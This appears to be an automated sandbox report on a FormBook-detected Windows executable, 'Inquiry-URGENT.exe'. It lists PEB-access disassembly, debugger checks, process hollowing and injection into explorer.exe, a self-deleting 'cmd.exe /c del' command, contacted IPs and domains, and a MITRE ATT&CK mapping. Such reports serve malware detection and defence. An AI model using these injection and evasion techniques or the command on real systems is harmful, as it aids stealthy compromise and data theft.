Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B140E1 mov eax, dword ptr fs:[00000030h]	8_2_04B140E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B140E1 mov eax, dword ptr fs:[00000030h]	8_2_04B140E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B140E1 mov eax, dword ptr fs:[00000030h]	8_2_04B140E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B158EC mov eax, dword ptr fs:[00000030h]	8_2_04B158EC
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov eax, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov ecx, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov eax, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov eax, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov eax, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BAB8D0 mov eax, dword ptr fs:[00000030h]	8_2_04BAB8D0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2B02A mov eax, dword ptr fs:[00000030h]	8_2_04B2B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2B02A mov eax, dword ptr fs:[00000030h]	8_2_04B2B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2B02A mov eax, dword ptr fs:[00000030h]	8_2_04B2B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2B02A mov eax, dword ptr fs:[00000030h]	8_2_04B2B02A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4002D mov eax, dword ptr fs:[00000030h]	8_2_04B4002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4002D mov eax, dword ptr fs:[00000030h]	8_2_04B4002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4002D mov eax, dword ptr fs:[00000030h]	8_2_04B4002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4002D mov eax, dword ptr fs:[00000030h]	8_2_04B4002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4002D mov eax, dword ptr fs:[00000030h]	8_2_04B4002D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE4015 mov eax, dword ptr fs:[00000030h]	8_2_04BE4015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE4015 mov eax, dword ptr fs:[00000030h]	8_2_04BE4015
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97016 mov eax, dword ptr fs:[00000030h]	8_2_04B97016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97016 mov eax, dword ptr fs:[00000030h]	8_2_04B97016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B97016 mov eax, dword ptr fs:[00000030h]	8_2_04B97016
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE1074 mov eax, dword ptr fs:[00000030h]	8_2_04BE1074
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD2073 mov eax, dword ptr fs:[00000030h]	8_2_04BD2073
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B30050 mov eax, dword ptr fs:[00000030h]	8_2_04B30050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B30050 mov eax, dword ptr fs:[00000030h]	8_2_04B30050
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B951BE mov eax, dword ptr fs:[00000030h]	8_2_04B951BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B951BE mov eax, dword ptr fs:[00000030h]	8_2_04B951BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B951BE mov eax, dword ptr fs:[00000030h]	8_2_04B951BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B951BE mov eax, dword ptr fs:[00000030h]	8_2_04B951BE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B461A0 mov eax, dword ptr fs:[00000030h]	8_2_04B461A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B461A0 mov eax, dword ptr fs:[00000030h]	8_2_04B461A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD49A4 mov eax, dword ptr fs:[00000030h]	8_2_04BD49A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD49A4 mov eax, dword ptr fs:[00000030h]	8_2_04BD49A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD49A4 mov eax, dword ptr fs:[00000030h]	8_2_04BD49A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD49A4 mov eax, dword ptr fs:[00000030h]	8_2_04BD49A4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B969A6 mov eax, dword ptr fs:[00000030h]	8_2_04B969A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42990 mov eax, dword ptr fs:[00000030h]	8_2_04B42990
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3C182 mov eax, dword ptr fs:[00000030h]	8_2_04B3C182
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4A185 mov eax, dword ptr fs:[00000030h]	8_2_04B4A185
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1B1E1 mov eax, dword ptr fs:[00000030h]	8_2_04B1B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1B1E1 mov eax, dword ptr fs:[00000030h]	8_2_04B1B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1B1E1 mov eax, dword ptr fs:[00000030h]	8_2_04B1B1E1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BA41E8 mov eax, dword ptr fs:[00000030h]	8_2_04BA41E8
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4513A mov eax, dword ptr fs:[00000030h]	8_2_04B4513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4513A mov eax, dword ptr fs:[00000030h]	8_2_04B4513A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120 mov eax, dword ptr fs:[00000030h]	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120 mov eax, dword ptr fs:[00000030h]	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120 mov eax, dword ptr fs:[00000030h]	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120 mov eax, dword ptr fs:[00000030h]	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B34120 mov ecx, dword ptr fs:[00000030h]	8_2_04B34120
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19100 mov eax, dword ptr fs:[00000030h]	8_2_04B19100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19100 mov eax, dword ptr fs:[00000030h]	8_2_04B19100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19100 mov eax, dword ptr fs:[00000030h]	8_2_04B19100
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1B171 mov eax, dword ptr fs:[00000030h]	8_2_04B1B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1B171 mov eax, dword ptr fs:[00000030h]	8_2_04B1B171
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1C962 mov eax, dword ptr fs:[00000030h]	8_2_04B1C962
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3B944 mov eax, dword ptr fs:[00000030h]	8_2_04B3B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3B944 mov eax, dword ptr fs:[00000030h]	8_2_04B3B944
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2AAB0 mov eax, dword ptr fs:[00000030h]	8_2_04B2AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B2AAB0 mov eax, dword ptr fs:[00000030h]	8_2_04B2AAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4FAB0 mov eax, dword ptr fs:[00000030h]	8_2_04B4FAB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B152A5 mov eax, dword ptr fs:[00000030h]	8_2_04B152A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B152A5 mov eax, dword ptr fs:[00000030h]	8_2_04B152A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B152A5 mov eax, dword ptr fs:[00000030h]	8_2_04B152A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B152A5 mov eax, dword ptr fs:[00000030h]	8_2_04B152A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B152A5 mov eax, dword ptr fs:[00000030h]	8_2_04B152A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4D294 mov eax, dword ptr fs:[00000030h]	8_2_04B4D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4D294 mov eax, dword ptr fs:[00000030h]	8_2_04B4D294
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42AE4 mov eax, dword ptr fs:[00000030h]	8_2_04B42AE4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42ACB mov eax, dword ptr fs:[00000030h]	8_2_04B42ACB
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B54A2C mov eax, dword ptr fs:[00000030h]	8_2_04B54A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B54A2C mov eax, dword ptr fs:[00000030h]	8_2_04B54A2C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B15210 mov eax, dword ptr fs:[00000030h]	8_2_04B15210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B15210 mov ecx, dword ptr fs:[00000030h]	8_2_04B15210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B15210 mov eax, dword ptr fs:[00000030h]	8_2_04B15210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B15210 mov eax, dword ptr fs:[00000030h]	8_2_04B15210
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1AA16 mov eax, dword ptr fs:[00000030h]	8_2_04B1AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1AA16 mov eax, dword ptr fs:[00000030h]	8_2_04B1AA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDAA16 mov eax, dword ptr fs:[00000030h]	8_2_04BDAA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDAA16 mov eax, dword ptr fs:[00000030h]	8_2_04BDAA16
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B33A1C mov eax, dword ptr fs:[00000030h]	8_2_04B33A1C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B28A0A mov eax, dword ptr fs:[00000030h]	8_2_04B28A0A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B5927A mov eax, dword ptr fs:[00000030h]	8_2_04B5927A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BCB260 mov eax, dword ptr fs:[00000030h]	8_2_04BCB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BCB260 mov eax, dword ptr fs:[00000030h]	8_2_04BCB260
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8A62 mov eax, dword ptr fs:[00000030h]	8_2_04BE8A62
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BDEA55 mov eax, dword ptr fs:[00000030h]	8_2_04BDEA55
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BA4257 mov eax, dword ptr fs:[00000030h]	8_2_04BA4257
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19240 mov eax, dword ptr fs:[00000030h]	8_2_04B19240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19240 mov eax, dword ptr fs:[00000030h]	8_2_04B19240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19240 mov eax, dword ptr fs:[00000030h]	8_2_04B19240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B19240 mov eax, dword ptr fs:[00000030h]	8_2_04B19240
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44BAD mov eax, dword ptr fs:[00000030h]	8_2_04B44BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44BAD mov eax, dword ptr fs:[00000030h]	8_2_04B44BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B44BAD mov eax, dword ptr fs:[00000030h]	8_2_04B44BAD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE5BA5 mov eax, dword ptr fs:[00000030h]	8_2_04BE5BA5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B42397 mov eax, dword ptr fs:[00000030h]	8_2_04B42397
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B4B390 mov eax, dword ptr fs:[00000030h]	8_2_04B4B390
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD138A mov eax, dword ptr fs:[00000030h]	8_2_04BD138A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BCD380 mov ecx, dword ptr fs:[00000030h]	8_2_04BCD380
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B21B8F mov eax, dword ptr fs:[00000030h]	8_2_04B21B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B21B8F mov eax, dword ptr fs:[00000030h]	8_2_04B21B8F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B403E2 mov eax, dword ptr fs:[00000030h]	8_2_04B403E2
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B3DBE9 mov eax, dword ptr fs:[00000030h]	8_2_04B3DBE9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B953CA mov eax, dword ptr fs:[00000030h]	8_2_04B953CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B953CA mov eax, dword ptr fs:[00000030h]	8_2_04B953CA
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BD131B mov eax, dword ptr fs:[00000030h]	8_2_04BD131B
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B43B7A mov eax, dword ptr fs:[00000030h]	8_2_04B43B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B43B7A mov eax, dword ptr fs:[00000030h]	8_2_04B43B7A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1DB60 mov ecx, dword ptr fs:[00000030h]	8_2_04B1DB60
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04BE8B58 mov eax, dword ptr fs:[00000030h]	8_2_04BE8B58
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1F358 mov eax, dword ptr fs:[00000030h]	8_2_04B1F358
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 8_2_04B1DB40 mov eax, dword ptr fs:[00000030h]	8_2_04B1DB40

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Code function: 3_2_00409B30 LdrLoadDll,

3_2_00409B30

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 74.208.236.139 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 213.5.70.60 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.252.217.69 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 103.100.209.77 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.tameka-stewart.com
Source: C:\Windows\explorer.exe	Domain query: www.khlopok.club
Source: C:\Windows\explorer.exe	Domain query: www.tovardarom.xyz
Source: C:\Windows\explorer.exe	Network Connect: 184.168.131.241 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.lakeefctmich.com
Source: C:\Windows\explorer.exe	Domain query: www.apexpropertiesltd.com
Source: C:\Windows\explorer.exe	Domain query: www.bajajfinservmutualfund.com
Source: C:\Windows\explorer.exe	Domain query: www.nutritionhawks.com
Source: C:\Windows\explorer.exe	Domain query: www.zambiaedu.xyz
Source: C:\Windows\explorer.exe	Network Connect: 162.241.61.210 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.trasportesemmanuel.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.josiemaran-supernatural.com
Source: C:\Windows\explorer.exe	Domain query: www.lianshangtron.com

Sample uses process hollowing technique

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: B90000

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Memory written: C:\Users\user\Desktop\Inquiry-URGENT.exe base: 400000 value starts with: 4D5A

Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Thread register set: target process: 3424	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 3424	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Process created: C:\Users\user\Desktop\Inquiry-URGENT.exe C:\Users\user\Desktop\Inquiry-URGENT.exe			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Inquiry-URGENT.exe'			Jump to behavior

Source: explorer.exe, 00000005.00000000.709771298.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000005.00000000.674242485.0000000001080000.00000002.00020000.sdmp, rundll32.exe, 00000008.00000002.937459034.00000000033A0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000005.00000000.677454070.0000000005E50000.00000004.00000001.sdmp, rundll32.exe, 00000008.00000002.937459034.00000000033A0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.674242485.0000000001080000.00000002.00020000.sdmp, rundll32.exe, 00000008.00000002.937459034.00000000033A0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.674242485.0000000001080000.00000002.00020000.sdmp, rundll32.exe, 00000008.00000002.937459034.00000000033A0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000005.00000000.701954450.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Queries volume information: C:\Users\user\Desktop\Inquiry-URGENT.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Inquiry-URGENT.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Inquiry-URGENT.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3d49a40.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Inquiry-URGENT.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Inquiry-URGENT.exe.3c9c210.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.932812676.00000000009A0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.937932319.00000000047B0000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752412248.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.938035416.00000000047E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.703892298.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.672109968.0000000003AE9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752980571.0000000001020000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.721720431.000000000E486000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.752778848.0000000000BC0000.00000040.00020000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading1	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Disable or Modify Tools1	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer3	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Virtualization/Sandbox Evasion31	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol13	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	System Information Discovery112	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information4	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Rundll321	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Software Packing13	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	File Deletion1	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Inquiry-URGENT.exe	36%	Virustotal		Browse
Inquiry-URGENT.exe	23%	Metadefender		Browse
Inquiry-URGENT.exe	71%	ReversingLabs	Win32.Trojan.FormBook

Dropped Files

No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
3.2.Inquiry-URGENT.exe.400000.0.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
tameka-stewart.com	1%	Virustotal		Browse
